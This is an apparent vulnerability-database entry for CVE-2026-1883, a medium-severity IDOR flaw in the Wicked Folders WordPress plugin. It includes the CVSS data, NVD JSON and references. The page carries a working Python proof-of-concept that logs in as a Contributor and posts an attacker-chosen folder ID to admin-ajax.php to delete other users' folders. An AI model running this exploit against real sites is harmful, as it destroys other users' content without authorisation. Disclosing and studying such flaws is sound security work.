Security Vulnerability Report
中文
CVE-2026-1883 CVSS 4.3 MEDIUM

CVE-2026-1883

Published: 2026-03-16 14:18:08
Last Modified: 2026-04-22 21:30:26

Description

The Wicked Folders – Folder Organizer for Pages, Posts, and Custom Post Types plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.1.0 via the delete_folders() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary folders created by other users.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Wicked Folders WordPress插件 <= 4.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2026-1883 PoC - IDOR in Wicked Folders delete_folders() # Target: WordPress site with Wicked Folders plugin <= 4.1.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def get_wp_session(): """Authenticate and get WordPress session""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login nonce resp = session.get(login_url) nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', resp.text) if not nonce_match: print("[-] Failed to get login nonce") return None login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "_wpnonce": nonce_match.group(1), "redirect_to": "/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if "wp-admin" in resp.url or resp.cookies.get("wordpress_logged_in"): print("[+] Authentication successful") return session print("[-] Authentication failed") return None def exploit_idor(session, victim_folder_id): """Delete arbitrary folder by IDOR""" delete_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Get nonce for the action nonce_resp = session.get(f"{TARGET_URL}/wp-admin/admin.php?page=wicked-folders-settings") nonce_match = re.search(r'"action":"wicked_folders_delete_folders","nonce":"([a-z0-9]+)"', nonce_resp.text) payload = { "action": "wicked_folders_delete_folders", "nonce": nonce_match.group(1) if nonce_match else "your_valid_nonce", "folder_ids": [victim_folder_id] # IDOR: attacker controls target folder ID } resp = session.post(delete_url, data=payload) if resp.status_code == 200 and "success" in resp.text: print(f"[+] Successfully deleted folder ID: {victim_folder_id}") return True print(f"[-] Failed to delete folder ID: {victim_folder_id}") return False if __name__ == "__main__": session = get_wp_session() if session: # Target any folder ID (e.g., folder created by admin) target_folder_id = 1 exploit_idor(session, target_folder_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1883", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:08.200", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wicked Folders – Folder Organizer for Pages, Posts, and Custom Post Types plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.1.0 via the delete_folders() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary folders created by other users."}, {"lang": "es", "value": "El plugin Wicked Folders – Folder Organizer for Pages, Posts, and Custom Post Types para WordPress es vulnerable a Referencia Directa Insegura a Objeto en todas las versiones hasta la 4.1.0, inclusive, a través de la función delete_folders() debido a la falta de validación en una clave controlada por el usuario. Esto permite a atacantes autenticados, con acceso de nivel Colaborador y superior, eliminar carpetas arbitrarias creadas por otros usuarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3473857/wicked-folders", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cec2c52-d780-4d94-a5b2-d3b405bce49c?source=cve", "source": "[email protected]"}]}}